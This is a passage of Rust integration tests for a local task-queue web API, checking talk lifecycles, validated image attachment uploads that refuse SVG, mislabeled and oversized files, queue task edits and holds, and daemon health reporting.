5993        let f = Fixture::with_repo(repo.clone()).await;
5994        (tmp, repo, f)
5995    }
5996
5997    #[tokio::test]
5998    async fn posting_a_talk_with_no_body_opens_one_and_takes_no_turn() {
5999        let (_tmp, _repo, f) = talk_fixture().await;
6000
6001        // No body at all - `f.post(.., None)` sends no `Content-Type` either -
6002        // is the ordinary way a phone opens a talk.
6003        let opened = f.post("/api/talks", None).await;
6004        assert_eq!(opened.status, 201, "{}", opened.body);
6005        let body = opened.json();
6006        assert_eq!(body["status"], "open");
6007        assert_eq!(
6008            body["turns"].as_array().unwrap().len(),
6009            0,
6010            "opening takes no agent turn: there is nothing yet to answer"
6011        );
6012
6013        // An explicit empty object is the same request as none at all.
6014        let also_opened = f.post("/api/talks", Some("{}")).await;
6015        assert_eq!(also_opened.status, 201, "{}", also_opened.body);
6016
6017        let listed = f.get("/api/talks").await.json();
6018        assert_eq!(listed.as_array().unwrap().len(), 2);
6019    }
6020
6021    #[tokio::test]
6022    async fn talk_detail_lists_the_tasks_it_has_filed_and_stays_open() {
6023        let f = Fixture::start().await;
6024        let talk_id = seed_talk(&f, "20260904-014455-ab12", "open");
6025        let queue = f.queue();
6026        let mut mine = Task::new(
6027            "rename the loader".to_owned(),
6028            "rename the loader".to_owned(),
6029            PathBuf::from("/repo/magi"),
6030            Source::Agent {
6031                run: talk_id.clone(),
6032                node: "chat".to_owned(),
6033            },
6034        );
6035        queue.put(&mut mine).expect("file the task");
6036        let mut theirs = Task::new(
6037            "unrelated".to_owned(),
6038            "unrelated".to_owned(),
6039            PathBuf::from("/repo/magi"),
6040            Source::Human,
6041        );
6042        queue.put(&mut theirs).expect("file the task");
6043
6044        let res = f.get(&format!("/api/talks/{talk_id}")).await;
6045        assert_eq!(res.status, 200, "{}", res.body);
6046        let body = res.json();
6047        assert_eq!(
6048            body["status"], "open",
6049            "filing a task does not close a talk"
6050        );
6051        let tasks = body["tasks"].as_array().expect("tasks array");
6052        assert_eq!(tasks.len(), 1, "only this talk's own task is listed");
6053        assert_eq!(tasks[0]["id"], mine.id);
6054    }
6055
6056    #[tokio::test]
6057    async fn talk_say_records_the_operators_turn_before_the_agents_reply_lands() {
6058        let (_tmp, _repo, f) = talk_fixture().await;
6059        let id = f.post("/api/talks", None).await.json()["id"]
6060            .as_str()
6061            .expect("id")
6062            .to_owned();
6063
6064        let res = f
6065            .post(
6066                &format!("/api/talks/{id}/say"),
6067                Some(r#"{"text":"what does the queue module do?"}"#),
6068            )
6069            .await;
6070        assert_eq!(res.status, 202, "{}", res.body);
6071        let queued = res.json();
6072        let turns = queued["turns"].as_array().expect("turns array");
6073        assert_eq!(
6074            turns.len(),
6075            1,
6076            "the answer reflects only what is on disk the instant it is sent, \
6077             before the agent's turn - which can run for the whole of \
6078             `[graph] timeout_talk` - has a chance to land: {queued}"
6079        );
6080        assert_eq!(turns[0]["who"], "operator");
6081        assert_eq!(turns[0]["body"], "what does the queue module do?");
6082
6083        let mut turns_after = 1;
6084        for _ in 0..200 {
6085            let detail = f.get(&format!("/api/talks/{id}")).await.json();
6086            turns_after = detail["turns"].as_array().expect("turns array").len();
6087            if turns_after == 2 {
6088                break;
6089            }
6090            tokio::time::sleep(Duration::from_millis(10)).await;
6091        }
6092        assert_eq!(turns_after, 2, "the agent's reply eventually lands");
6093    }
6094
6095    /// Bytes `sniffed_mime` recognises as `image/png` - the signature plus a
6096    /// few more, since real uploads are never exactly eight bytes.
6097    const PNG_BYTES: &[u8] = b"\x89PNG\r\n\x1a\n\x00\x00\x00\x0dIHDR\x00\x00\x00\x01";
6098
6099    #[tokio::test]
6100    async fn a_png_attachment_upload_is_201_and_get_returns_it_with_nosniff() {
6101        let f = Fixture::start().await;
6102        let id = seed_talk(&f, "20260905-000000-a1b2", "open");
6103
6104        let res = f
6105            .post_bytes(
6106                &format!("/api/talks/{id}/attachments"),
6107                &[("Content-Type", "image/png"), ("X-Filename", "shot.png")],
6108                PNG_BYTES,
6109            )
6110            .await;
6111        assert_eq!(res.status, 201, "{}", res.body);
6112        let body = res.json();
6113        assert_eq!(body["name"], "shot.png");
6114        assert_eq!(body["mime"], "image/png");
6115        assert_eq!(body["bytes"], PNG_BYTES.len());
6116        let att_id = body["id"].as_str().expect("id").to_owned();
6117        assert_eq!(
6118            att_id.len(),
6119            32,
6120            "the id must never be a client-suppliable path: {att_id}"
6121        );
6122
6123        let got = f
6124            .get(&format!("/api/talks/{id}/attachments/{att_id}"))
6125            .await;
6126        assert_eq!(got.status, 200, "{}", got.body);
6127        assert_eq!(got.header("content-type"), Some("image/png"));
6128        assert_eq!(got.header("x-content-type-options"), Some("nosniff"));
6129        assert_eq!(got.bytes, PNG_BYTES);
6130    }
6131
6132    #[tokio::test]
6133    async fn an_svg_a_text_file_and_an_oversized_upload_are_all_4xx() {
6134        let f = Fixture::start().await;
6135        let id = seed_talk(&f, "20260905-000000-c3d4", "open");
6136
6137        // SVG can carry a `<script>`, so it is never on the whitelist even
6138        // though it is a real IANA image type.
6139        let svg = f
6140            .post_bytes(
6141                &format!("/api/talks/{id}/attachments"),
6142                &[("Content-Type", "image/svg+xml")],
6143                b"<svg xmlns=\"http://www.w3.org/2000/svg\"></svg>",
6144            )
6145            .await;
6146        assert!(
6147            (400..500).contains(&svg.status),
6148            "svg must be refused: {} {}",
6149            svg.status,
6150            svg.body
6151        );
6152        assert!(svg.body.contains("SVG"), "{}", svg.body);
6153
6154        let text = f
6155            .post_bytes(
6156                &format!("/api/talks/{id}/attachments"),
6157                &[("Content-Type", "text/plain")],
6158                b"just some text",
6159            )
6160            .await;
6161        assert!(
6162            (400..500).contains(&text.status),
6163            "an unlisted type must be refused: {} {}",
6164            text.status,
6165            text.body
6166        );
6167
6168        // The declared type is a real png, but the size check runs before
6169        // the bytes are even looked at.
6170        let oversized = vec![0u8; ATTACHMENT_MAX_BYTES + 1];
6171        let big = f
6172            .post_bytes(
6173                &format!("/api/talks/{id}/attachments"),
6174                &[("Content-Type", "image/png")],
6175                &oversized,
6176            )
6177            .await;
6178        assert_eq!(
6179            big.status,
6180            StatusCode::PAYLOAD_TOO_LARGE.as_u16(),
6181            "{}",
6182            big.body
6183        );
6184    }
6185
6186    #[tokio::test]
6187    async fn a_mislabeled_upload_is_refused_even_though_the_declared_type_is_on_the_whitelist() {
6188        let f = Fixture::start().await;
6189        let id = seed_talk(&f, "20260905-000000-d4e5", "open");
6190
6191        // A whitelisted `Content-Type`, but bytes that are not actually a
6192        // png - the declared header alone is never trusted.
6193        let res = f
6194            .post_bytes(
6195                &format!("/api/talks/{id}/attachments"),
6196                &[("Content-Type", "image/png")],
6197                b"<html>not a picture</html>",
6198            )
6199            .await;
6200        assert!((400..500).contains(&res.status), "{}", res.body);
6201    }
6202
6203    #[tokio::test]
6204    async fn an_unknown_attachment_id_is_a_404() {
6205        let f = Fixture::start().await;
6206        let id = seed_talk(&f, "20260905-000000-e5f6", "open");
6207
6208        let res = f
6209            .get(&format!("/api/talks/{id}/attachments/{}", "0".repeat(32)))
6210            .await;
6211        assert_eq!(res.status, 404, "{}", res.body);
6212    }
6213
6214    #[tokio::test]
6215    async fn talk_say_with_only_an_attachment_and_no_body_is_accepted_and_persists() {
6216        let f = Fixture::start().await;
6217        let id = seed_talk(&f, "20260905-000000-f6a7", "open");
6218
6219        let uploaded = f
6220            .post_bytes(
6221                &format!("/api/talks/{id}/attachments"),
6222                &[("Content-Type", "image/png"), ("X-Filename", "shot.png")],
6223                PNG_BYTES,
6224            )
6225            .await;
6226        assert_eq!(uploaded.status, 201, "{}", uploaded.body);
6227        let att_id = uploaded.json()["id"].as_str().expect("id").to_owned();
6228
6229        let res = f
6230            .post(
6231                &format!("/api/talks/{id}/say"),
6232                Some(&format!(r#"{{"text":"","attachments":["{att_id}"]}}"#)),
6233            )
6234            .await;
6235        assert_eq!(res.status, 202, "{}", res.body);
6236        let queued = res.json();
6237        let turns = queued["turns"].as_array().expect("turns array");
6238        assert_eq!(
6239            turns.len(),
6240            1,
6241            "an empty body with an attachment is still a turn: {queued}"
6242        );
6243        assert_eq!(turns[0]["who"], "operator");
6244        assert_eq!(turns[0]["body"], "");
6245        let atts = turns[0]["attachments"]
6246            .as_array()
6247            .expect("attachments array");
6248        assert_eq!(atts.len(), 1);
6249        assert_eq!(atts[0]["id"], att_id);
6250        assert_eq!(atts[0]["mime"], "image/png");
6251
6252        // Not only in the response: `record` flushes to disk before the
6253        // agent's own turn is even spawned.
6254        let on_disk = f.talks().get(&id).expect("get");
6255        assert_eq!(on_disk.turns[0].attachments.len(), 1);
6256        assert_eq!(on_disk.turns[0].attachments[0].id, att_id);
6257    }
6258
6259    #[tokio::test]
6260    async fn saying_with_an_unknown_attachment_id_is_a_4xx_and_records_nothing() {
6261        let f = Fixture::start().await;
6262        let id = seed_talk(&f, "20260905-000000-a7b8", "open");
6263
6264        let res = f
6265            .post(
6266                &format!("/api/talks/{id}/say"),
6267                Some(&format!(
6268                    r#"{{"text":"hi","attachments":["{}"]}}"#,
6269                    "a".repeat(32)
6270                )),
6271            )
6272            .await;
6273        assert!((400..500).contains(&res.status), "{}", res.body);
6274        assert!(res.body.contains("unknown attachment"), "{}", res.body);
6275
6276        let on_disk = f.talks().get(&id).expect("get");
6277        assert!(
6278            on_disk.turns.is_empty(),
6279            "a rejected attachment id must not partially record the turn: {:?}",
6280            on_disk.turns
6281        );
6282    }
6283
6284    #[tokio::test]
6285    async fn chat_say_persists_an_attachment_in_the_turn_json() {
6286        let tmp = TempDir::new().expect("tempdir");
6287        let repo = tmp.path().join("repo");
6288        std::fs::create_dir_all(&repo).expect("repo dir");
6289        std::fs::write(repo.join("magi.toml"), MOCK_AGENT_TOML).expect("write magi.toml");
6290        let f = Fixture::with_repo(repo.clone()).await;
6291
6292        let opened = f
6293            .post("/api/chats", Some(r#"{"idea":"rework the config loader"}"#))
6294            .await;
6295        assert_eq!(opened.status, 202, "{}", opened.body);
6296        let id = opened.json()["id"].as_str().expect("id").to_owned();
6297
6298        // The idea's own first turn runs in the background (see `chat_post`'s
6299        // doc); it must land before `say` below, which would otherwise race
6300        // it and get the same 409 a second turn on a busy chat gets.
6301        let mut thinking = true;
6302        for _ in 0..200 {
6303            let detail = f.get(&format!("/api/chats/{id}")).await.json();
6304            thinking = detail["thinking"].as_bool().expect("thinking is a bool");
6305            if !thinking {
6306                break;
6307            }
6308            tokio::time::sleep(Duration::from_millis(10)).await;
6309        }
6310        assert!(
6311            !thinking,
6312            "the first turn must finish before this test continues"
6313        );
6314
6315        let uploaded = f
6316            .post_bytes(
6317                &format!("/api/chats/{id}/attachments"),
6318                &[("Content-Type", "image/png")],
6319                PNG_BYTES,
6320            )
6321            .await;
6322        assert_eq!(uploaded.status, 201, "{}", uploaded.body);
6323        let att_id = uploaded.json()["id"].as_str().expect("id").to_owned();
6324
6325        let res = f
6326            .post(
6327                &format!("/api/chats/{id}/say"),
6328                Some(&format!(
6329                    r#"{{"text":"here is a screenshot","attachments":["{att_id}"]}}"#
6330                )),
6331            )
6332            .await;
6333        assert_eq!(res.status, 202, "{}", res.body);
6334
6335        let on_disk = f.chats().get(&id).expect("get");
6336        let operator_turn = on_disk
6337            .turns
6338            .iter()
6339            .find(|t| t.body == "here is a screenshot")
6340            .expect("the new operator turn");
6341        assert_eq!(operator_turn.attachments.len(), 1);
6342        assert_eq!(operator_turn.attachments[0].id, att_id);
6343    }
6344
6345    #[tokio::test]
6346    async fn talk_close_makes_the_talk_refuse_further_turns() {
6347        let f = Fixture::start().await;
6348        let id = seed_talk(&f, "20260904-014455-cd34", "open");
6349
6350        let closed = f.post(&format!("/api/talks/{id}/close"), None).await;
6351        assert_eq!(closed.status, 200, "{}", closed.body);
6352        assert_eq!(closed.json()["status"], "closed");
6353
6354        // Idempotent: closing an already-closed talk is not an error.
6355        let closed_again = f.post(&format!("/api/talks/{id}/close"), None).await;
6356        assert_eq!(closed_again.status, 200);
6357        assert_eq!(closed_again.json()["status"], "closed");
6358    }
6359
6360    #[tokio::test]
6361    async fn talk_reopen_lets_a_closed_talk_take_turns_again_and_is_idempotent() {
6362        let (_tmp, _repo, f) = talk_fixture().await;
6363        let id = f.post("/api/talks", None).await.json()["id"]
6364            .as_str()
6365            .expect("id")
6366            .to_owned();
6367        let closed = f.post(&format!("/api/talks/{id}/close"), None).await;
6368        assert_eq!(closed.status, 200, "{}", closed.body);
6369
6370        let reopened = f.post(&format!("/api/talks/{id}/reopen"), None).await;
6371        assert_eq!(reopened.status, 200, "{}", reopened.body);
6372        assert_eq!(reopened.json()["status"], "open");
6373
6374        // Idempotent: reopening an already-open talk is not an error.
6375        let reopened_again = f.post(&format!("/api/talks/{id}/reopen"), None).await;
6376        assert_eq!(reopened_again.status, 200);
6377        assert_eq!(reopened_again.json()["status"], "open");
6378
6379        let said = f
6380            .post(
6381                &format!("/api/talks/{id}/say"),
6382                Some(r#"{"text":"still there?"}"#),
6383            )
6384            .await;
6385        assert_eq!(
6386            said.status, 202,
6387            "a reopened talk accepts turns again: {}",
6388            said.body
6389        );
6390    }
6391
6392    #[tokio::test]
6393    async fn talk_reopen_on_an_unknown_id_is_404() {
6394        let f = Fixture::start().await;
6395        let res = f.post("/api/talks/nonexistent-id/reopen", None).await;
6396        assert_eq!(res.status, 404, "{}", res.body);
6397    }
6398
6399    #[tokio::test]
6400    async fn talk_delete_removes_the_talk_from_disk_and_the_list() {
6401        let f = Fixture::start().await;
6402        let id = seed_talk(&f, "20260904-014455-ef56", "closed");
6403
6404        let deleted = f.delete(&format!("/api/talks/{id}")).await;
6405        assert_eq!(deleted.status, 204, "{}", deleted.body);
6406
6407        let after = f.get(&format!("/api/talks/{id}")).await;
6408        assert_eq!(after.status, 404, "{}", after.body);
6409
6410        let listed = f.get("/api/talks").await.json();
6411        assert!(
6412            listed.as_array().unwrap().iter().all(|t| t["id"] != id),
6413            "a deleted talk must not linger in the list: {listed}"
6414        );
6415    }
6416
6417    #[tokio::test]
6418    async fn talk_delete_on_an_unknown_id_is_404() {
6419        let f = Fixture::start().await;
6420        let res = f.delete("/api/talks/nonexistent-id").await;
6421        assert_eq!(res.status, 404, "{}", res.body);
6422    }
6423
6424    #[tokio::test]
6425    async fn talks_never_appear_in_the_planning_chat_list() {
6426        let (_tmp, _repo, f) = talk_fixture().await;
6427
6428        let opened = f.post("/api/talks", None).await;
6429        assert_eq!(opened.status, 201, "{}", opened.body);
6430
6431        let chats = f.get("/api/chats").await.json();
6432        assert!(
6433            chats.as_array().unwrap().is_empty(),
6434            "a talk must never surface as a planning chat: {chats}"
6435        );
6436        let talks = f.get("/api/talks").await.json();
6437        assert_eq!(talks.as_array().unwrap().len(), 1);
6438    }
6439
6440    #[tokio::test]
6441    async fn holding_then_releasing_returns_a_task_to_the_loop_with_a_fresh_budget() {
6442        let f = Fixture::start().await;
6443        let queue = f.queue();
6444        let mut task = Task::new(
6445            "spent".to_owned(),
6446            "Try again".to_owned(),
6447            PathBuf::from("/repo/magi"),
6448            Source::Human,
6449        );
6450        task.start("20260902-140502-bbbb".to_owned());
6451        task.fail("agent gave up", 9);
6452        queue.put(&mut task).expect("file the task");
6453
6454        let held = f.post(&format!("/api/queue/{}/hold", task.id), None).await;
6455        assert_eq!(held.status, 200);
6456        assert_eq!(held.json()["status_str"], "held");
6457
6458        let released = f
6459            .post(&format!("/api/queue/{}/release", task.id), None)
6460            .await;
6461        assert_eq!(released.status, 200);
6462        assert_eq!(released.json()["status_str"], "queued");
6463        assert_eq!(
6464            released.json()["attempts"],
6465            0,
6466            "release is a real second chance, not an instant re-hold"
6467        );
6468        assert_eq!(
6469            queue.get(&task.id).expect("reload").status,
6470            TaskStatus::Queued,
6471            "the change is on disk, not only in the reply"
6472        );
6473        assert!(
6474            !f.home
6475                .path()
6476                .join("queue")
6477                .join(format!("{}.lock", task.id))
6478                .exists(),
6479            "the claim the mutation took is released again"
6480        );
6481    }
6482
6483    #[tokio::test]
6484    async fn a_task_a_daemon_is_running_cannot_be_changed_from_the_phone() {
6485        let f = Fixture::start().await;
6486        let queue = f.queue();
6487        let mut task = Task::new(
6488            "busy".to_owned(),
6489            "Running right now".to_owned(),
6490            PathBuf::from("/repo/magi"),
6491            Source::Human,
6492        );
6493        queue.put(&mut task).expect("file the task");
6494        let _claim = queue.claim(&task.id).expect("stand in for the daemon");
6495
6496        let res = f.post(&format!("/api/queue/{}/hold", task.id), None).await;
6497
6498        assert_eq!(res.status, 409);
6499        assert_eq!(
6500            queue.get(&task.id).expect("reload").status,
6501            TaskStatus::Queued,
6502            "the refused hold changed nothing"
6503        );
6504    }
6505
6506    #[tokio::test]
6507    async fn holding_with_a_reason_reads_back_from_show_and_the_card_and_release_clears_it() {
6508        let f = Fixture::start().await;
6509        let queue = f.queue();
6510        let mut task = Task::new(
6511            "waiting on the migration".to_owned(),
6512            "Do the thing".to_owned(),
6513            PathBuf::from("/repo/magi"),
6514            Source::Human,
6515        );
6516        queue.put(&mut task).expect("file the task");
6517
6518        let held = f
6519            .post(
6520                &format!("/api/queue/{}/hold", task.id),
6521                Some(r#"{"reason":"waiting for 20260101-000000-aaaa to land"}"#),
6522            )
6523            .await;
6524        assert_eq!(held.status, 200, "{}", held.body);
6525        assert_eq!(held.json()["status_str"], "held");
6526        assert_eq!(
6527            held.json()["hold_reason"],
6528            "waiting for 20260101-000000-aaaa to land"
6529        );
6530
6531        let listed = f.get("/api/queue").await.json();
6532        assert_eq!(
6533            listed[0]["hold_reason"], "waiting for 20260101-000000-aaaa to land",
6534            "the card reads the reason off the same list route"
6535        );
6536
6537        // A hold with no body at all must keep working - most holds have no
6538        // reason to give.
6539        let mut plain = Task::new(
6540            "no reason given".to_owned(),
6541            "Do another thing".to_owned(),
6542            PathBuf::from("/repo/magi"),
6543            Source::Human,
6544        );
6545        queue.put(&mut plain).expect("file the task");
6546        let held_plain = f.post(&format!("/api/queue/{}/hold", plain.id), None).await;
6547        assert_eq!(held_plain.status, 200, "{}", held_plain.body);
6548        assert!(held_plain.json()["hold_reason"].is_null());
6549
6550        let released = f
6551            .post(&format!("/api/queue/{}/release", task.id), None)
6552            .await;
6553        assert_eq!(released.status, 200);
6554        assert!(
6555            released.json()["hold_reason"].is_null(),
6556            "a release must clear the reason so the next hold does not inherit it"
6557        );
6558    }
6559
6560    #[tokio::test]
6561    async fn priority_can_be_raised_from_the_phone_and_moves_the_task_ahead() {
6562        let f = Fixture::start().await;
6563        let queue = f.queue();
6564        let mut older = Task::new(
6565            "filed first".to_owned(),
6566            "x".to_owned(),
6567            PathBuf::from("/repo/magi"),
6568            Source::Human,
6569        );
6570        older.id = "20260101-000001-aaaa".to_owned();
6571        let mut newer = Task::new(
6572            "filed second".to_owned(),
6573            "x".to_owned(),
6574            PathBuf::from("/repo/magi"),
6575            Source::Human,
6576        );
6577        newer.id = "20260101-000002-bbbb".to_owned();
6578        queue.put(&mut older).expect("file older");
6579        queue.put(&mut newer).expect("file newer");
6580
6581        // Equal priority: the newer task leads, the same order the old
6582        // newest-first `list()` already gave every equal-priority queue.
6583        let before = f.get("/api/queue").await.json();
6584        assert_eq!(before[0]["id"], newer.id);
6585        assert_eq!(before[1]["id"], older.id);
6586
6587        // Raising the *older* task is the meaningful case: it can only lead
6588        // now because its priority says so, not because it happens to be
6589        // newest.
6590        let raised = f
6591            .post(
6592                &format!("/api/queue/{}/priority", older.id),
6593                Some(r#"{"priority":10}"#),
6594            )
6595            .await;
6596        assert_eq!(raised.status, 200, "{}", raised.body);
6597        assert_eq!(raised.json()["priority"], 10);
6598
6599        let after = f.get("/api/queue").await.json();
6600        let names: Vec<&str> = after
6601            .as_array()
6602            .unwrap()
6603            .iter()
6604            .map(|t| t["id"].as_str().unwrap())
6605            .collect();
6606        // Highest priority first, which is the order next_runnable and
6607        // `magi task list` both use - GET /api/queue must agree with it
6608        // immediately, not just once the loop claims the task.
6609        assert_eq!(names[0], older.id, "the raised task now sorts first");
6610    }
6611
6612    #[tokio::test]
6613    async fn priority_is_refused_on_a_running_task_with_a_reason_in_the_body() {
6614        let f = Fixture::start().await;
6615        let queue = f.queue();
6616        let mut task = Task::new(
6617            "in flight".to_owned(),
6618            "x".to_owned(),
6619            PathBuf::from("/repo/magi"),
6620            Source::Human,
6621        );
6622        task.start("20260902-140502-bbbb".to_owned());
6623        queue.put(&mut task).expect("file the task");
6624
6625        let res = f
6626            .post(
6627                &format!("/api/queue/{}/priority", task.id),
6628                Some(r#"{"priority":9}"#),
6629            )
6630            .await;
6631        assert_eq!(res.status, 400, "{}", res.body);
6632        assert!(
6633            res.json()["error"]
6634                .as_str()
6635                .is_some_and(|e| e.contains("running")),
6636            "{}",
6637            res.body
6638        );
6639        assert_eq!(
6640            queue.get(&task.id).expect("reload").priority,
6641            0,
6642            "the refused write must not partially apply"
6643        );
6644    }
6645
6646    #[tokio::test]
6647    async fn editing_replaces_title_and_instruction_and_keeps_id_created_at_source_and_runs() {
6648        let f = Fixture::start().await;
6649        let queue = f.queue();
6650        let mut task = Task::new(
6651            "old title".to_owned(),
6652            "old instruction".to_owned(),
6653            PathBuf::from("/repo/magi"),
6654            Source::Agent {
6655                run: "20260101-000000-beef".to_owned(),
6656                node: "implement".to_owned(),
6657            },
6658        );
6659        task.runs.push("20260101-000000-beef".to_owned());
6660        queue.put(&mut task).expect("file the task");
6661        let created_at = task.created_at;
6662
6663        let edited = f
6664            .post(
6665                &format!("/api/queue/{}/edit", task.id),
6666                Some(r#"{"title":"new title","instruction":"new instruction"}"#),
6667            )
6668            .await;
6669        assert_eq!(edited.status, 200, "{}", edited.body);
6670        let body = edited.json();
6671        assert_eq!(body["title"], "new title");
6672        assert_eq!(body["instruction"], "new instruction");
6673        assert_eq!(body["id"], task.id, "editing must not mint a new id");
6674        assert_eq!(body["created_at"], created_at.to_string());
6675        assert_eq!(
6676            body["source"]["kind"], "agent",
6677            "editing a task an agent filed must not turn it human: {body}"
6678        );
6679        assert_eq!(body["runs"], serde_json::json!(["20260101-000000-beef"]));
6680
6681        let reloaded = queue.get(&task.id).expect("reload");
6682        assert_eq!(reloaded.title, "new title");
6683        assert_eq!(reloaded.instruction, "new instruction");
6684    }
6685
6686    #[tokio::test]
6687    async fn editing_a_running_task_is_refused_with_a_reason_in_the_response() {
6688        let f = Fixture::start().await;
6689        let queue = f.queue();
6690        let mut task = Task::new(
6691            "in flight".to_owned(),
6692            "do not touch".to_owned(),
6693            PathBuf::from("/repo/magi"),
6694            Source::Human,
6695        );
6696        task.start("20260902-140502-bbbb".to_owned());
6697        queue.put(&mut task).expect("file the task");
6698
6699        let res = f
6700            .post(
6701                &format!("/api/queue/{}/edit", task.id),
6702                Some(r#"{"title":"x","instruction":"y"}"#),
6703            )
6704            .await;
6705        assert_eq!(res.status, 400, "{}", res.body);
6706        assert!(
6707            res.json()["error"]
6708                .as_str()
6709                .is_some_and(|e| e.contains("running")),
6710            "{}",
6711            res.body
6712        );
6713        assert_eq!(
6714            queue.get(&task.id).expect("reload").instruction,
6715            "do not touch",
6716            "the refused edit must not change the file"
6717        );
6718    }
6719
6720    #[tokio::test]
6721    async fn a_claimed_task_refuses_priority_and_edit_the_same_way_it_refuses_hold() {
6722        let f = Fixture::start().await;
6723        let queue = f.queue();
6724        let mut task = Task::new(
6725            "busy".to_owned(),
6726            "Running right now".to_owned(),
6727            PathBuf::from("/repo/magi"),
6728            Source::Human,
6729        );
6730        queue.put(&mut task).expect("file the task");
6731        let _claim = queue.claim(&task.id).expect("stand in for the daemon");
6732
6733        let priority = f
6734            .post(
6735                &format!("/api/queue/{}/priority", task.id),
6736                Some(r#"{"priority":9}"#),
6737            )
6738            .await;
6739        assert_eq!(priority.status, 409, "{}", priority.body);
6740
6741        let edit = f
6742            .post(
6743                &format!("/api/queue/{}/edit", task.id),
6744                Some(r#"{"title":"x","instruction":"y"}"#),
6745            )
6746            .await;
6747        assert_eq!(edit.status, 409, "{}", edit.body);
6748    }
6749
6750    #[tokio::test]
6751    async fn done_from_the_phone_keeps_runs_source_and_created_at_unlike_delete() {
6752        let f = Fixture::start().await;
6753        let queue = f.queue();
6754        let mut task = Task::new(
6755            "shipped by hand".to_owned(),
6756            "merged outside the loop".to_owned(),
6757            PathBuf::from("/repo/magi"),
6758            Source::Agent {
6759                run: "20260101-000000-b455".to_owned(),
6760                node: "implement".to_owned(),
6761            },
6762        );
6763        task.runs.push("20260101-000000-b455".to_owned());
6764        task.runs.push("20260101-000000-9af4".to_owned());
6765        queue.put(&mut task).expect("file the task");
6766        let created_at = task.created_at;
6767
6768        let done = f.post(&format!("/api/queue/{}/done", task.id), None).await;
6769        assert_eq!(done.status, 200, "{}", done.body);
6770        assert_eq!(done.json()["status_str"], "done");
6771
6772        let reloaded = queue.get(&task.id).expect("a done task is still on disk");
6773        assert_eq!(
6774            reloaded.runs,
6775            ["20260101-000000-b455", "20260101-000000-9af4"]
6776        );
6777        assert_eq!(
6778            reloaded.source,
6779            Source::Agent {
6780                run: "20260101-000000-b455".to_owned(),
6781                node: "implement".to_owned(),
6782            }
6783        );
6784        assert_eq!(reloaded.created_at, created_at);
6785    }
6786
6787    #[tokio::test]
6788    async fn closing_a_held_task_as_done_from_the_phone_clears_its_hold_reason() {
6789        // `done` is allowed on any status, including `held`, with no release
6790        // in between - so a task held for a reason and then closed directly
6791        // must not keep reading as "waiting on" it afterwards, on its card or
6792        // in `magi task show`.
6793        let f = Fixture::start().await;
6794        let queue = f.queue();
6795        let mut task = Task::new(
6796            "landed while held".to_owned(),
6797            "x".to_owned(),
6798            PathBuf::from("/repo/magi"),
6799            Source::Human,
6800        );
6801        task.hold(Some("waiting on 3ed9".to_owned()));
6802        queue.put(&mut task).expect("file the held task");
6803
6804        let done = f.post(&format!("/api/queue/{}/done", task.id), None).await;
6805        assert_eq!(done.status, 200, "{}", done.body);
6806        assert_eq!(done.json()["status_str"], "done");
6807        assert!(
6808            done.json()["hold_reason"].is_null(),
6809            "a done task cannot still be waiting on something: {}",
6810            done.body
6811        );
6812    }
6813
6814    #[tokio::test]
6815    async fn unknown_ids_are_json_not_found_on_both_stores() {
6816        let f = Fixture::start().await;
6817
6818        let run = f.get("/api/runs/nosuchrun").await;
6819        let task = f.post("/api/queue/nosuchtask/hold", None).await;
6820
6821        assert_eq!(run.status, 404);
6822        assert_eq!(task.status, 404);
6823        assert!(
6824            run.json()["error"]
6825                .as_str()
6826                .is_some_and(|e| e.contains("run")),
6827            "the error names what was not found: {}",
6828            run.body
6829        );
6830        assert!(
6831            task.json()["error"]
6832                .as_str()
6833                .is_some_and(|e| e.contains("task")),
6834            "the error names what was not found: {}",
6835            task.body
6836        );
6837    }
6838
6839    #[tokio::test]
6840    async fn the_daemon_counts_as_running_only_while_its_heartbeat_is_fresh() {
6841        let f = Fixture::start().await;
6842
6843        let missing = f.get("/api/health").await.json();
6844        assert_eq!(missing["daemon"]["running"], false, "no file, no daemon");
6845
6846        write_daemon(
6847            f.home.path(),
6848            Timestamp::now() - jiff::SignedDuration::from_secs(60),
6849        );
6850        let stale = f.get("/api/health").await.json();
6851        assert_eq!(
6852            stale["daemon"]["running"], false,
6853            "a minute without a heartbeat is a dead daemon, not a busy one"
6854        );
6855        assert!(
6856            stale["daemon"]["stale_for_secs"]
6857                .as_i64()
6858                .is_some_and(|s| s >= 55),
6859            "staleness is reported so the UI can say how long: {stale}"
6860        );
6861
6862        write_daemon(f.home.path(), Timestamp::now());
6863        let fresh = f.get("/api/health").await.json();
6864        assert_eq!(fresh["daemon"]["running"], true);
6865        assert_eq!(fresh["daemon"]["idle"], false);
6866        assert_eq!(fresh["daemon"]["pid"], 4242);
6867        assert_eq!(fresh["daemon"]["completed"], 7);
6868        assert_eq!(
6869            fresh["daemon"]["current"][0]["task"],
6870            "20260902-140501-aaaa"
6871        );
6872        assert_eq!(fresh["version"], env!("CARGO_PKG_VERSION"));
6873    }
6874
6875    #[tokio::test]
6876    async fn the_loop_is_not_running_until_something_starts_it() {
6877        let f = Fixture::start().await;
6878
6879        let view = f.get("/api/loop").await.json();
6880        assert_eq!(view["running"], false);
6881        assert_eq!(
6882            view["owned"], false,
6883            "nobody owns a loop that does not exist: {view}"
6884        );
6885        assert_eq!(view["stopping"], false);
6886        assert_eq!(view["last_error"], Value::Null);
6887        assert_eq!(view["daemon"]["running"], false);
6888        assert_eq!(
6889            view["repo"], "/repo/magi",
6890            "the repository a start would use, named before it is started"
6891        );
6892    }
6893
6894    #[tokio::test]
6895    async fn starting_the_loop_runs_it_in_this_process_and_health_says_the_same() {
6896        let f = Fixture::start().await;
6897
6898        let res = f.post("/api/loop", Some(r#"{"running":true}"#)).await;
6899        assert_eq!(res.status, 200, "{}", res.body);
6900        let view = res.json();
6901        assert_eq!(view["running"], true);
6902        assert_eq!(
6903            view["owned"], true,
6904            "the loop the UI started is the UI's own to stop: {view}"
6905        );
6906        assert_eq!(
6907            view["merge"],
6908            Value::Null,
6909            "no override was given, so each repository's own config decides"
6910        );
6911
6912        // The same object from the route a waking phone polls first. Two
6913        // surfaces disagreeing about whether anything is running is exactly
6914        // the confusion this UI exists to remove.
6915        let health = f.get("/api/health").await.json();
6916        assert_eq!(health["loop"]["running"], true, "{health}");
6917        assert_eq!(health["loop"]["owned"], true, "{health}");
6918
6919        f.post("/api/loop", Some(r#"{"running":false}"#)).await;
6920    }
6921
6922    #[tokio::test]
6923    async fn a_second_start_is_refused_rather_than_racing_the_first_for_claims() {
6924        let f = Fixture::start().await;
6925        let first = f.post("/api/loop", Some(r#"{"running":true}"#)).await;
6926        assert_eq!(first.status, 200, "{}", first.body);
6927
6928        let again = f.post("/api/loop", Some(r#"{"running":true}"#)).await;
6929        assert_eq!(
6930            again.status, 409,
